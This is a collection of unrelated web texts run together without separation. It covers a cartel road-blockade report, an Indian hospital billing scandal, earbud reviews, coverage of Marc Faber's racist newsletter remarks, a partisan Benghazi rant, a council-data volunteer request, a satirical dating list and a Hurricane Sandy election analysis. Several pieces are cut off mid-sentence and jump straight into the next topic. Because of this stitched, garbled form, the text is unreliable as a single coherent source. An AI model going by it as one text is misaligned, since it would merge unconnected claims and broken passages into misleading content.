Cartel fighters threw hundreds of home-made road spikes and used stolen cars to block the main highways in an effort to slow down police. The violence resulted in chaos for regular citizens as several reported getting flat tires or being stuck in the traffic jams caused by the blockades.
The attacks against police forces appear to have spiked in recent days with cartel forces focusing on state agents, particularly in the Ribereña area. The move appears to be a backlash at the increase in operations targeting cartel activity. Recently deployed convoys of Mexican marines have been completing successful raids against gunmen. On Wednesday, Mexican marines seized several armored trucks used by the Gulf Cartel.
Editor’s Note: Breitbart Texas traveled to the Mexican States of Tamaulipas, Coahuila and Nuevo León to recruit citizen journalists willing to risk their lives and expose the cartels silencing their communities. The writers would face certain death at the hands of the various cartels that operate in those areas including the Gulf Cartel and Los Zetas if a pseudonym were not used. Breitbart Texas’ Cartel Chronicles are published in both English and in their original Spanish. This article was written by “A.C. Del Angel” from Reynosa, Tamaulipas.A day after Delhi government cancelled the licence of Shalimar Bagh's Max Hospital, Haryana's health minister Anil Vij has written to the state urban authority seeking the cancellation of Gurgaon Fortis'land lease.
The land was provided to the hospital at concessional rates on the condition that it will provide 20 per cent beds and other health amenities at concessional rates to the poor patients.
The probe panel has found that the hospital was not fully adhering to the terms and conditions which were mentioned in the MoU signed between Haryana government and the hospital authorities.
Haryana government has also written to the Medical Council of India (MCI) to cancel the membership of Fortis Hospital.
Meanwhile, authorities have already got an FIR drafted against the hospital under Section 304-A of IPC(causing death by negligence), which is likely to be registered at Sushant Lok Police Station, Gurgaon.
The Gurgaon's Fortis Hospital recently made headlines for charging Rs 16 lakh for a 15-day dengue treatment of a seven-year-old girl, who later died.
Adya Singh (7), diagnosed with dengue shock syndrome, was admitted to Gurgaon's Fortis on August 31, with high fever.
Over the course of her two-week long treatment, she was shifted to the ICU and also incubated, but the seven-year-old's condition never improved.
Jayant Singh, Adya's father said that the hospital kept pumping her with drugs one after the other, all the while when the family kept asking doctors to do an MRI or CT scan.
On September 14, when an MRI was finally performed, the doctors informed the parents that Adya's brain was damaged up to 80 per cent and suggested a 'body plasma transplant'- which would have costed another Rs 16 lakh.
The seven-year-old succumbed on the same day, with her parents left with a bill of 15,79,322- that adds up to more than a lakh per day.
BREAK-UP OF THE BILL
This includes documentation fee of Rs 250, consultation fee for a dietitian of Rs 3000, an eye specialist's fee of Rs 13,200. Two variants of the same medicine were pumped into Adya's body- one costed around Rs 3000 per vial whereas the other was for Rs 500.
Sugar strips which are otherwise priced at Rs 13 per strip, were priced at Rs 200 in the hospital. Over 1500 gloves and 660 syringes were also added into the bill.
Even the hospital gown Adya was dressed in was charged at Rs 900.
With inputs from Kamalpreet, Manjeet Sehgal
Watch video: SHOCKING: Fortis Hospital charges Rs 16 lakh for 15-day dengue treatmentGet great sound for an affordable price! Compare the best earbuds that you can get for under $100.
Best Earbuds Under $100 Reviewed- Shure SE215
Rating:4.0 ($80-$120)
Pros Cons Great sound quality, balanced sound signature
One of the best sounding earbuds under $100
Comfortable fit & eartips
Memory wire cable keeps earbuds in place
Great noise isolation
Detachable cable with overal durable design Not suitable for bassheads
In-line controls only in upgraded wires
3.5mm L-connector may not fit with devices using fat cases
Check It Out
Shure is known for producing some exceptional audio products, and the SE215 earbuds are no exception. These are really designed as professional-grade in ear monitors.
The overall sound quality and durability make these headphones stand out above the rest. And they are a perfect choice for musicians.
What’s in the box?
Shure SE215 in-ear earbuds (with detachable wires)
7 pairs of ear tips
Zipper carrying case
User manual
Comfort
GREAT NOISE ISOLATION, COMFORTABLE EAR TIPS, AWKWARD FIT AT FIRST BUT YOU GET USED TO IT.
There are multiple sizes of replaceable eartips provided with the earbuds (small/medium/large), and they are quite comfortable.
The headphone cord includes a reinforced memory wire segment that can loop over the ear to help hold the earbuds in place, making them well suited for active use like exercise or playing music on stage.
Despite the bulky size of the earbud body, it stays in place very well once a proper fit is achieved.
The noise isolation of these earbuds is very good due to a tight-fitting eartip design. If fit properly, the eartips can block nearly 37dB of ambient noise.
The main thing to point out about the SE215 is that the larger earbud design can seem a little bit large and unwieldy at first. Some users have a hard time getting the earbud assembly to fit in the right position in the ear.
However, if you take the time to get the right placement and fit that works for you, you’ll be rewarded with great sound.
Durability
VERY DURABLE, QUALITY COMPONENTS, DETACHABLE CABLE. SUPERB DESIGN OVERALL.
Shure makes professional audio products designed for use and abuse on and off the stage, so these earbuds are perfect for those in need of a robust headphone solution.
The body and tip assembly of the earbuds are resistant to moisture and sweat, making them a good option for use when exercising.
A detachable cable provides an extra layer of durability, and it can be replaced if the cable is damaged. This is a nice feature that many other earbuds in this price range do not have.
Some users may find that the cable can easily disengage from the earbuds, but a proper fit using the memory wire should prevent any accidental detachment.
Overall, you can expect several years of reliable use from these earbuds.
Features
CARRYING POUCH, EXTRA EARTIPS, 3.5MM L-CONNECTOR, NO IN-LINE CONTROLS THOUGH.
The SE215 earbuds come with a nice compact carrying pouch, complete with a zipper and clip. There are also three different sizes of soft eartips and a cleaning tool included.
The 3.5mm L-connector is good quality, but users with portable devices in cases may have to take the case off in order to plug in the headphones, depending on the case design.
The basic models of the SE215 do not have in-line controls, but you could upgrade to the SE215m+ model for the addition of in-line volume controls and a talkback microphone.
Colors are available in Black and Clear earbud designs, with a White option for the model featuring in-line controls.
Even with some color choices, the earbud body design isn’t going to win many points for visual appeal when compared to other brands. That’s OK if your main interest is in the sound quality.
Sound
EXTREMELY WELL BALANCED SOUND WITH LITTLE COLORATION, ACCURATE HIGHS. AMAZING SOUND FOR THE MONEY.
For just under $100, these headphones deliver amazing sound that rivals many audiophile grade earbuds.
The overall sound profile can be characterized as balanced, rich, and full.
Shure uses a single driver for these earbuds, so the sound might not seem as punchy as some dual-driver models two or three times the price, but the design is still rather impressive.
High frequencies are articulate, but not too sharp or piercing. Mids are precise and clear, without being tubby or muddy. And the lows sound warm, natural and even.
If you like a lot of enhanced bass in your headphones, these probably aren’t the best choice. But if you appreciate a more balanced frequency spectrum for music playback, the SE215 delivers some exceptional sound quality.
Musicians and performing artists needing an in ear monitor solution will certainly benefit from the quality sound reinforcement and tight fit that these earbuds provide.
Audiophiles listening to more expensive headphones may feel that this is an entry-level earbud. While it’s true that the soundstage may not be as deep or wide as higher end models, the SE215 is extremely versatile and well balanced.
Finding a great sounding set of earbuds can be a challenge. Finding earbuds that are robust enough for everyday use is even harder. The Shure SE215 over-delivers in both categories. And for less than $100, they are definitely worth considering.
Sony MDR-XB90EX In-Ear Extra Bass Headphones (Japanese Import) Rating:4.2 ($80-$120) Pros Cons Deep bass response, basshead friendly
Best-in-class bass earbuds under $100
Comfortable eartips & tip
Good passive noise isolation Large earbud case design
No in-line controls Check It Out If big bass is your goal, then Sony is the overwhelming winner with the MDR-XB90EX. The EX stands for extra bass. Yep. They have it, and then some. These earbuds also ranked in at #1 in our “7 Best Bass Earbuds” list, so you know they are going to be great for bassheads. What’s in the box?
Sony MDR-XB90EX in-ear earbuds (IEMs)
7 pairs of ear tips (silicone and foam)
Shirt clip
Zipper carrying case
User manual Comfort COMFORTABLE EAR TIPS, TIGHT FIT, GOOD NOISE ISOLATION, LARGER EARBUD DESIGN. These earbuds fit nice and tight, given their somewhat large size. The MDR-XB90EX ship with several sizes of quality silicone eartips, which provide a wide range of fit options. Some users may find the need to try alternative foam eartip sizes if the desired fit isn’t achieved within a few listening sessions. This can also enhance the airtight seal against the ear so that maximum bass quality is achieved. Noise isolation is very good and the sealed case design does a good job containing any sound leakage as long as the earbuds are fitting properly. Even though the fit is tight, these headphones may not be great for exercise or high activity environments. It really depends on how they fit in your ears though. The general form factor and comfortable ear tips make these earbuds great for long listening sessions. Durability GOOD QUALITY CONSTRUCTION, TANGLE-FREE CABLE. The build quality on these earbuds is really solid and there are no weak components around the glossy plastic case. Strong and flexible strain relief is provided for the cables entering each earbud. The cable features a flat rubberized cord that is tangle-free, which adds to the general durability of the product. Features EXTRA EARTIPS, 3.5MM L-CONNECTOR, NO IN-LINE CONTROLS OR EXTRA ACCESSORIES.
A nice zippered pouch is provided with these Sony earbuds, and it has two mesh segmented pockets to store extra eartips, cables or adapters. The cable is fitted with a compact 3.5mm L-connector that should work well with most modern portable devices and cases. There are no in-line controls or a talkback microphone provided with this model. These earbuds are for music playback only. The overall design is attractive and modern looking, but there is only one choice in color: gunmetal dark gray with a bushed nickel cap and black cable. Sound BASSHEADS TOP PICK. BIG BASS, BALANCED MIDS, HIGHS THAT ARE CRISP AND CUT THROUGH THE MIX.
These earbuds deliver exceptional bass quality that is big and spacious, without being boomy or muddy. A lot of earbuds don’t provide any sense of sub-bass frequencies, but these Sony’s pump out plenty of extra low energy. If you’re already boosting the EQ settings on your playback device, you may find that you’ll need to dial it back a bit so that the low end is not overdriven with these earbuds. Despite the huge bass presence, the frequency spectrum is reasonably well controlled and the soundstage is fairly wide. Mid frequencies are balanced and generally warm with good vocal reproduction. Highs are well pronounced and crystal clear. Some users may find the highs to be a bit harsh or shrill, but a slight boost in the highs is generally a good thing with any headphones emphasizing the lower frequency ranges. The MDR-XB90EX earbuds don’t really fall into the audiophile category due to the enhanced bass presence, but bassheads and hip-hop or electronic music listeners will absolutely appreciate the well-tuned response of these earbuds. When used as in ear monitors on stage, bass players and drummers can benefit from the frequency contour of these earbuds since there is a boost in the bass and treble ranges. Available for under $100, these Sony earbuds are some of the best drivers of deep bass on the market. Just be prepared for a little extra shipping time as these units are imported from Japan. Note the warranty information as well, since these earbuds are likely to only be guaranteed in Japan.
Rating:4.1
Pros Cons Warm and balanced frequency response
Attractive wood & aluminum compact housing
Good noise isolation
Tangle-free cable with cord clip
No in-line controls
3.5mm angled connector sticks out more than other similar styles
Check It Out
Featuring an attractive design with real wood and aluminum, the ThinkSound MS-1 is a strong contender for those in search of earbuds that sound as good as they look.
These might not be the best headphones for your workout, but the quality of construction, attention to detail, and sound quality are top-notch.
What’s in the box?
ThinkSound ms01 in-ear earbuds (IEMs)
4 pairs of silicone ear tips
2 ear hooks
Shirt clip
Soft carrying pouch
User manual
Comfort
FOUR SILICONE EARTIP SIZES, GOOD NOISE ISOLATION, EAR HOOKS PROVIDE STABLE FIT.
The four different sizes (Small/Medium/Large/ExtraLarge) of soft silicone eartips are very comfortable.
The relatively small housing makes it easy to insert the earbuds.
Ear hooks are provided as a separate component for more active environments. While they are comfortable, the overall grip and stability is a little loose which makes these better for non-active uses.
Noise isolation is pretty good. It should be noted that the use of a vented dynamic driver means that there is only a small amount of sound leakage at higher volumes.
Some users may prefer a tighter fit by using a third-party eartips.
Durability
GREAT TANGLE-FREE CABLE, GOOD STRAIN RELIEF, DECENT DURABILITY.
The rubberized tangle-free cable is good quality and features quality connectors.
Strain relief is decent, but excessive pressure can cause the cables to pull out of the earbud housing.
The wood and aluminum components individually are very robust and solid. However, early models of the MS01 can suffer from a weakened epoxy that allows the aluminum and wood pieces to separate.
The manufacturer seems to be fairly responsive to warranty issues and purchasers of newer models should see even greater durability from these earbuds.
Features
3.5MM L-PLUG, ECO-FRIENDLY PACKAGING, NO IN-LINE CONTROLS, WOOD & ALUMINUM FINISH LOOKS NICE.
It’s clear that ThinkSound made an intentional effort to manufacture and deliver these earbuds as an eco-friendly product, complete with a cotton drawstring pouch.
The 3.5mm connector is mostly straight, but has a slight 45˚ angle for the cord exit and strain relief.
There are no inline volume controls or talkback mic on the MS01.
Two plastic ear hooks are provided for use in more active environments.
The wood housing contains a 8mm driver and the silicone eartips attach to the shiny aluminum baffles.
Overall this is a very attractive set of earbuds.
Sound
WARM, BALANCED AND NATURAL TONES WITH A DETAILED SOUNDSTAGE. SOUND LIKE EARBUDS MANY TIMES THE PRICE.
Sound quality is where the ThinkSound MS01 really shines.
Lows are controlled and reasonably tight, but not at all overpowering or tubby.
Mids are smooth and sound especially great with acoustic instruments.
Highs are powerful and clear without pushing out too much sibilance.
These headphones are not going to deliver an enhanced bass experience for those looking for extra boost in the low-sub frequency range. However, the general low end is warm and even a little punchy.
The MS01 excels with reproducing acoustic and classical music. Contemporary rock and electronic genres can sound a little muddy and less articulate in the mid range, but the highs are well balanced and consistently cut through any acoustic clutter.
Most earbuds can suffer from the microphonics of cord noise, and these are no exception. This noise is certainly reduced by using the provide ear hooks to add some strain relief and control the movement of the cables worn over the ear.
If you enjoy the deep nuances of acoustic musical instruments and the warm subtlety of rich vocals, the ThinkSound MS01 is a great set of earbuds with an attractive style and eco-friendly design.
Rating:3.6 (($30-$80))
Pros Cons Balanced and generally neutral frequency response
Powerful mids are great for a wide range of music styles
Quality zipper pouch is included
Minimalist and compact aluminum housing
Good noise isolation with deep sealing ear tips Low frequency response is not suitable for bassheads
Microphonics can be a problem with cable worn down
Check It Out
Don’t let the looks and old reviews deceive you, this is a set of earbuds worth listening to.
HiFiMan has continued to improve the quality of the RE-400 model. This latest version delivers consistently great sound with a more robust strain relief than previous versions.
What’s in the box?
HiFiMan RE-400 in-ear earbuds (IEMs)
8 pairs of silicone ear tips
Shirt clip
Hard zipper carrying case
User manual
Comfort
LOTS OF SILICONE EARTIP SIZES, GREAT NOISE ISOLATION, LIGHTWEIGHT DESIGN.
These earbuds are rather compact and the provided silicone eartip varieties (single flange and bi-flange) allow users to customize the fit for their ears.
It is easy to get a deep and tight fit, making these great for ambient noise isolation.
The lightweight design of the RE-400 combined with the soft eartips provides hours of long term listening comfort.
Listeners can wear the wires over or under, and there is a cable slider to assist with holding the cables together.
Durability
IMPROVED STRAIN RELIEF, ROBUST HOUSING, RESPONSIVE CUSTOMER SERVICE.
Older versions of this model had notable issues with the quality of strain relief. It seams that HifiMan listened and increased the quality of the cable strain relief on both the earbuds and the 3.5mm jack.
The aluminum housing is robust and doesn’t separate easily like some other cheap earbuds can do over time.
The one negative mark is that some users have complained of drivers intermittently failing. However, the company’s customer service department is very responsive and the warranty repair/replace program is satisfactory.
Features
3.5MM ANGLED-CONNECTOR, ZIPPER CARRYING CASE, LOTS OF EARTIP SIZES.
The quality zipper case and provision of many silicone eartip sizes is yet another improvement over what shipped with previous versions of this model.
A 3.5mm connector features a compact 45˚ angled exit design.
The aluminum housing design is fairly resistant to water and sweat, making these a reasonable choice for use when exercising.
In-line volume controls and a talkback mic are available on enhanced models (separate part numbers for Apple and Android devices).
Sound
GREAT SOUND FOR UNDER $100, ALMOST NEUTRAL RESPONSE, NOT DESIGNED FOR BASSHEADS.
These earbuds are a very competitive player in the market of sub-$100 headphones with respect to sound quality.
Highs are clear and detailed without being too thin or overly airy.
Mids pack some power but are still balanced. Rock tracks are very easy to listen to with these earbuds.
Lows are generally balanced, warm, and deep. Even though the bass is slightly accentuated, it won’t blow you away.
The response is not flat, but it is also not sonically weighted for ultra-low extension.
Overall the RE-400 earbud driver design sounds natural and smooth with a wide range of performance value when listening to a variety of musical genres.
Microphonic cable noise is minimal when wearing the cables over the ear, but it can certainly be noticed when wearing the cables down.
The compact design and deep seal of the eartips provide respectable noise isolation and frequency response.
The HifiMan RE-400 model continues to be improved by the manufacturer and retains its robust sonic performance. This is a great earbud choice for those in search of a compact and lightweight design with a pleasing sound character.
Attentive customer support is there for any potential durability issues, but this latest version seems to be the best yet. Definitely worth checking out.
Rating:4.1 ($30-$80)
Pros Cons Good sound quality with good mids
Affordable to buy
Sturdy construction for the price
50 inch cord is a good length and durable
Great value for money Bass isn’t very emphasized, not for bassheads
Might not fit in very small ears
Check It Out
If you are tired of cheap ear buds but don’t want to pay big bucks for top end quality, you should check out the Brainwavz M2. Sturdy build quality and deep bass mean these little buds pack in a lot of performance.
For their mid-range price point, these IEMs (in-ear monitors) offer great value and style.
What’s in the box?
Brainwavz M2 in-ear earbuds with 50 inch OFC (oxygen-free copper) cable
Replacement ear bud tips (Comply S tips, Sony Hybrids s/m/l)
Shirt clip, over-ear hangers
Semi-hard clamshell carrying case
User manual
Comfort
SHALLOW IN-EAR FIT BUT THAT DOESN’T FALL OUT. LIGHTWEIGHT WITH GOOD COMFORT.
These in-ear headphones don’t sit very deep in your ear, but they offer a good hold even during jogging or physical activity. The Brainwavz M2 feels light yet solidly in-place on your head.
Some users report the ear buds aren’t very comfortable in their narrow ear canals, while others love the fit using the included ear bud tips to customize your Brainwavz M2.
Since the Brainwavz M2 fits quite shallowly in the ear, people who need good ear buds for working out might get frustrated if the fit is poor for their ears. They will fall out while you move around without a snug fit using the right size of tip for your measurements.
They feel great right out of the box for some people, but if you have very narrow ear canals and ear buds are not usually that comfortable for you, you might consider a pair with a smaller profile than the Brainwavz M2.
Noise isolation is good but not great, given they don’t sit very deeply in the ear.
Durability
GREAT BUILT QUALITY. DURABLE WIRES, MADE TO LAST.
Brainwavz M2 ear buds have excellent quality of construction. The 50 inch cable is one of the highlights: it has good thickness and resists tangles. The Y-split is rugged even without a cinch included.
The connector is a 45-degree angle with good strain relief. It seems to hold up well to daily use. There is no included in-line microphone.
The housing for the ear buds is metal and plastic, and it holds up well to impact and wear. The protective filter to protect the speakers is metal, not plastic or fabric. The overall construction is rugged and doesn’t feel cheap at all.
One drawback is the lack of a cinch for the Y-split. Some users report the rubber strain relief can slip off the end of the housing, but you can push it back with your fingers easily.
Features
NICE CARRYING BAG WITH A SELECTION OF EAR TIPS.
The packaging is eye-catching and presents the Brainwavz M2 well. The cord is long, but not too long at 50 inches. The carrying case included in the box is handy to protect your ear buds when not in use.
No special features like Bluetooth or microphone means these are a basic set of in-ear monitors. If you find these headphones are slipping out of your ears during your workout, the over-ear hangers included in the box will help keep them in place.
These ear buds are good to go right out of the box, but you can customize your fit with a wide selection of rubber tips included with your purchase.
Sound
HIGH QUALITY BALANCED SOUND SIGNATURE FOR THE PRICE. THE BASS ISN’T TOO STRONG. NOT FOR BASSHEADS.
These little earphones pump out a lot of great sound, but the bass is a bit under-powered for some genres of music. The Brainwavz M2 ear buds offer a lot of value for an affordable price, but don’t expect the richest bass at this price point.
Some users report the bass to be slow and loose. The overall signature of the sound is somewhat dark, and the muddy bass is the culprit. You get a decent amount of bass considering they are ear buds, but don’t expect your hip-hop and electronic music to thump with these in your ears.
The mids are definitely better than the lows. The Brainwavz M2 has warmth for vocals but doesn’t showcase piano or guitar that well. They sound crisp and clear, and you do get a lot for the price when you consider the competition.
Overall, the Brainwavz M2 in-ear headphones offer a lot of value and decent sound for the price. They compare well in the under $100 category, and they even outperform some pricier models worth over $100. You get a lot included in the box when you buy them, so the Brainwavz M2 is something to consider if you need an affordable and durable pair of ear buds.
Rating:3.7 ($30-$80)
Pros Cons High quality sound with punchy bass and wide soundstage
Lightweight and stylish design
Comfortable fit
Durable construction Mids can be lacking for some music styles
Not designed for wearing the cable over-the-ear
Check It Out
The Momentum In Ear series delivers powerful bass in a lightweight and attractive package.
These might not be tuned for those with audiophile tastes, but the sonic delivery of this sub-$100 IEM is dependable and very approachable.
Comfort
LIGHTWEIGHT DESIGN, SNUG FIT, DESIGNED FOR WEARING CABLE DOWN.
The first thing you’ll notice about these earbuds is that the physical design looks a little different than many other options available.
This unique in-ear design from Sennheiser fits the ear very well and the lightweight construction is comfortable for long listening sessions.
Single flange silicone eartips provide a reasonable amount of noise isolation, but some users may want to try third party foam or double flange silicone eartips for greater comfort and noise attenuation.
The cable exit and strain relief hoop on these earbuds almost requires you to wear them with the cable down. The cable can be worn over the ear, but you’ll likely notice a change in the comfortable fit compared with wearing cable down.
A cable cinch above the in-line remote allows for good cable control during active use.
Durability
QUALITY COMPONENTS, GOOD USE OF PLASTIC HOUSING WITH STEEL TUBES.
The unique plastic housing design is lightweight, but it doesn’t look or feel cheap.
Cable strain relief on the earbud is offered by a small plastic hoop that is reasonably effective without adding a lot of mass to the assembly.
Stainless steel sound tubes exit the plastic earbud shell and hold up well when changing out eartips or cleaning.
Moisture resistance is ok, but these are in no way waterproof.
Sennheiser provides their standard 2-year warranty with these headphones.
Features
IN-LINE REMOTE WITH BUTTONS, SLIM L-PLUG, COMPACT CASE, OVAL CABLE DESIGN.
The Momentum In Ear won’t be over-delivering on the included accessories, but you will receive a nice molded neoprene case that includes cable management.
Four sizes are silicone eartips are provide, but as mentioned earlier, some users may benefit from trying foam or other styles of eartips.
The 90˚ 3.5mm jack is compact and sturdy enough for daily use.
The 1.3 m (4.3 ft) cable is not round, nor is it flat. The oval/elliptical cable design allows for reliable, tangle-free use. However, it does have a little bit of memory when used with the included cable management device.
Sound
WIDE SOUNDSTAGE, GREAT BASS ENERGY, V-PATTERN RESPONSE, SOME MICROPHONICS.
As is common in a lot of in ear monitors, the frequency response of the Momentum In Ear tends to follow a V-shaped frequency profile, with mid frequency content clearly falling off in certain musical genres.
However, this doesn’t mean that the overall sound quality is lacking.
Powerful bass highlights the listening experience with these earbuds. Lows are delivered with fast attack and a veritable punch.
Mid tones can be perceived as lacking, especially with electric guitar-heavy rock tracks.
Highs are reasonably well balanced and clear without injecting too much sibilance. The upper treble range can tend to be on the bright side, but not uncontrollably so.
Microphonic cable noise control is less than average with the Momentum In Ear. The cable cinch helps with this, but there is noticeable noise when worn cables down without using the cinch.
Sennheiser continues to build on their quality Momentum-series headphones brand with the In Ear model, and overall quality in materials and audio performance is dependable.
Bassheads will appreciate the enhanced low frequency response that these earbuds offer.
Users looking for a tasteful blend of style, comfort and quality will certainly want to check these out.
Rating:3.6 ($30-$80)
Pros Cons Clear and detailed sound with balanced sound signature
Variety of ear bud tip styles and sizes in the box
Great build quality at an affordable price point
Extra filters and replacement tool are a bonus Microphonics
Not for bassheads
Check It Out
When you need a decent pair of in-ear monitors with good performance for an affordable price, it’s worth checking out the Etymotic MC5 before you buy something else. They offer great performance in a small package, plus the box includes lots of accessories with your headphones purchase.
At this price, you can’t deny the value offered by the Etymotic MC5.
What’s in the box?
Etymotic MC5 in-ear monitors with a 4ft cord
Extra filters and filter removal tool
Selection of ear bud tips in various sizes and styles
Black carrying pouch and shirt clip
User manual
Comfort
COMFORTABLE FIT WITH TRI-FLANGES OR FOAM TIPS.
The Etymotic MC5 ear buds are very comfortable if you are used to tri-flange tips already. For new users, it can take some getting used to the feel in your ear. If it’s too weird, Etymotic includes traditional foam tips for you, too.
The noise isolation is excellent with the tri-flanges and |
telling subscribers to his newsletter that he was glad that “white people populated America, and not the blacks.”
The eccentric veteran investor and former Drexel director, who predicted the 1987 stock market crash and has been a fixture on financial television, claimed in his October 3 monthly newsletter that “the U.S. would look like Zimbabwe” if the country had been settled by black people instead of whites. In the latest edition of his 15-page investor letter, "The Gloom, Boom & Doom Report," Faber argued against the removal of confederate statues, saying the only crime of the men those monuments honored was to defend slavery and that the controversy distracts from more important debates, according to Bloomberg. There, inbetween quotes from George Orwell and historian Edward Gibbon and his opinions on universal basic income, Faber wrote the following:
"And thank God white people populated America, and not the blacks. Otherwise, the US would look like Zimbabwe, which it might look like one day anyway, but at least America enjoyed 200 years in the economic and political sun under a white majority."
He then added that "I am not a racist, but the reality — no matter how politically incorrect — needs to be spelled out."
Source: @Beardedmiguel
In the newsletter, Faber's comments also address the confrontation in Charlottesville, Virginia, where violence sparked a national debate over race and monuments that honor prominent Confederate figures that Faber decided to weigh in on. Faber called the monuments "statues of honourable people whose only crime was to defend what all societies had done for more than 5,000 years: keep a part of the population enslaved."
Asked for a comment by the WSJ Faber responded in an e-mail: “I am naturally standing by this comment since this is an undisbutable (SIC) fact.”
Reached for comment by CNBC, Faber similarly did not back away from his statements: "If stating some historical facts makes me a racist, then I suppose that I am a racist. For years, Japanese were condemned because they denied the Nanking massacre." In addition to the brief statement, he sent a link to a USA Today story titled, "Banned in Biloxi, 'To Kill a Mockingbird' raises old censorship debate," focusing on the Harper Lee classic.
His comments drew an immediate reaction, and as Bloomberg reports, Sprott CEO Peter Grosskopf said will ask the board to demand the immediate resignation of Marc Faber, who is a director on Sprott's board. Grosskopf added that he had already spoken to the company chairman about Marc Faber.
Grosskopf also said that the company is “deeply disappointed” and shocked by Faber’s comments.
“We take pride in the fact that we are a global organization with a racially inclusive employee, client and investment base. Our policies in that regard are crystal clear and well known. As such these comments and thinking are completely unacceptable and we will be taking immediate steps to distance ourselves from Mr. Faber and request his resignation from our board."
According to the WSJ, the comments sparked a broad backlash from investors and market commentators Tuesday. CNBC and Fox Business Network, cable channels where he had appeared in the past, said Tuesday they don’t intend to book him in the future.Issa posted 166 pages of sensitive but unclassified State Department communications related to Libya on the committee's website afternoon as part of his effort to investigate security failures and expose contradictions in the administration's statements regarding the Sept. 11 attack on the U.S. mission in Benghazi that resulted in the death of Amb. Christopher Stevens and three other Americans. [...]
But Issa didn't bother to redact the names of Libyan civilians and local leaders mentioned in the cables, and just as with the WikiLeaks dump of State Department cables last year, the administration says that Issa has done damage to U.S. efforts to work with those Libyans and exposed them to physical danger from the very groups that had an interest in attacking the U.S. consulate.
I have had it up to here with the Republican intransigence against the United States of America. I have had it with the GOP not just hurting our country economically for political gain, but politicizing every war-and-peace topic. At some point, when a political party seems incapable of coming together at an hour of crisis, of putting America before their political futures; at some point when a political party is hell bent on launching political attacks on American civil servants in harm's way, and on document dumping for political gain - at that point you have to stop and say:This is not patriotism. This isWhen this president set a clear path forward to exit Iraq, Republicans cried with no clear alternatives. When this president took out bin Laden, the Republican media machine went on overdrive to try to deny him credit. When this president ended the national security nightmare of throwing out qualified, brave soldiers out of the military because of their sexual orientation, Republicans warned of a coming apocalypse.From the beginning of the attacks in Benghazi, Libya, Mitt Romney started running his mouth. Before the facts were known, he couldn't help himself from running to the microphone to attack the people in the Embassy who were trying to protect their own lives. Mitt Romney has been so brazen, he even forgot to pay attention to the President's words, when he spoke in the Rose Garden the day after the attacks. Last week, Republican Chairman of the House Oversight Committee, dumped 166 pages of sensitive State Department documents revealing and endangering the lives of many who are cooperating with the United States within Libya.At a time when militants are out there hunting for every Libyan who is cooperating with the United States, a Republican chairman of a House committee releases the names of just those people. This man isn't stupid, and this isn't about transparency. This is about endangering the safety of those people, and this is about endangering the security of the United States. This is borderline treason. And thee stone cold silence from Mitt Romney gives his consent to this. Mitt Romney, and his Republican party establishment are not patriotic.Foreign policy isn't exactly my area of expertise, so to speak. But this isn't just about foreign policy anymore; this is about our country. This is about patriotism. Patriotism isn't about faux outrage at a burning flag, it is about a burning desire to serve our country. Patriotism is about a love of country that is bigger than our political and personal interests. It is about serving one's country before one's party. Endangering the lives of those who are cooperating with American authorities so that we can get to the bottom of what happened when we were attacked is unpatriotic. The men who support that act are unpatriotic. AndAs you may know PlanningAlerts.org.au works by collecting development applications from many local council websites and republishes them in an easy to use way, notifying people of new applications in their area and in that way keeping you informed of things happening near you.
To do this we need to know where those applications are. So far, we know where around 60 local authorities keep their applications. There’s more than 500 local authorities that we don’t know about.
We’d like to know about a whole lot more so that PlanningAlerts can be useful to more Australians. That’s where you come in.
We’ve created a Google spreadsheet with all the local councils that we know about which we don’t yet support on PlanningAlerts.org.au and we’d like your help to fill it in.
https://spreadsheets.google.com/ccc?key=0AmvYMal8CGUsdG1tM0lEWUctR194eGN6bUh0VGFfc1E&hl=en
This is what you do. Go to the spreadsheet.
Pick a council that hasn’t had all its details filled in yet (“DA’s online?” column is empty). The councils are ordered with the big councils (lots of people) at the top. So, start with those near the top if possible. Follow the link to the council website (“Website” column) Find where they store their development applications Fill in the details in “DA’s online?”, “as HTML”, “website for DA notice” columns. “DA’s online” just says whether the council publishes the development applications online. Hopefully that will be a yes. “as HTML” should be “Yes” when they publish it as a regular web page. Fill in “No” if they publish the information in PDF or Microsoft Word documents for instance. The “website for DA notice” is just a link to the page on the council website where the development applications are stored. Repeat for a few councils Add a comment to this blog post to let us and everyone else know you helped out Give yourself a big pat on the back.
Thank you in advance!Post-2016 Election Cosmo Tips for Decoding Your Man
What he says: “You don’t need to wear all that makeup!”
What he means: “I resent that you feel empowered through your use of stereotypically feminine products and I wish I couldn’t tell that you were wearing makeup.”
- - -
What he says: “I’ll pay for dinner.”
What he means: “I make so much money that I can pay for two dinners. I know that you also make money but I would like to maintain a certain power dynamic.”
- - -
What he says: “Let me get the door for you.”
What he means: “You’ve been talking a lot about how straight white men are the problem but let me show you that I can do nice things, like hold the door. And remember how I paid for dinner?”
- - -
What he says: “I like your shirt.”
What he means: “Is this compliment going to make you want me to touch you again? We haven’t had sex since the election.”
- - -
What he says: How’s Emily? [over-pronounced vowels, like he’s never heard the name ‘Emily’ before]
What he means: “Your friend Emily is the only person of color I know and ‘her community’ seems really worked up about this whole Trump thing.”
- - -
What he says: “Chivalry isn’t dead.”
What he means: “I paid for dinner!!!”
- - -
What he says: “Things have been really hard for me lately.”
What he means: “I have convinced myself that people can be racist against white people.”
- - -
What he says: “Everyone assumes I voted for Trump just because I’m white.”
What he means: “I voted for Gary Johnson.”
- - -
What he says: “Let’s give Trump a chance.”
What he means: “I’ve been thinking really hard and I literally can’t think of a way that Trump’s presidency will actually hurt me.”
- - -
What he says: “Bernie would have won.”
What he means: “Hillary should have been a man.”
- - -
What he says: “Abandon identity politics.”
What he means: “Abandon YOUR identity politics and embrace mine, which I see as baseline and default.”
- - -
What he says: “I’m tired of PC culture.”
What he means: “Why won’t you let me, a white man, say the n-word?! Kanye does it! And he loves Trump! What point am I trying to make?”I’ll speak to three possibilities, just for starters:
1) Sandy hurts Obama. As Larry Bartels wrote about a few months ago, incumbent presidents can be punished for natural disasters, including floods. Of course, a lot hinges on whether serious damage hits the key battleground states in Sandy’s path: Virginia and Pennsylvania, plus probably New Hampshire and maybe parts of Ohio. Given Obama’s apparent lead in Pennsylvania, it’s less likely that Sandy’s damage could swing that state against him. So the focus should be on the other states, I think.
2) Sandy helps Obama. Some research by John Gasper and Andrew Reeves finds that while both presidents and governors are punished for natural disasters, they are rewarded for a proactive response to those disasters. Presidents can overcome the effect of even the most severe weather damage in a particular location by declaring that location a disaster area (and therefore eligible for federal disaster funds). Here’s a graph that illustrates this, with the key part highlighted:
The open question, however, is whether any disaster declarations could happen quickly enough and visibly enough to matter on Election Day, only about a week after Sandy makes landfall.
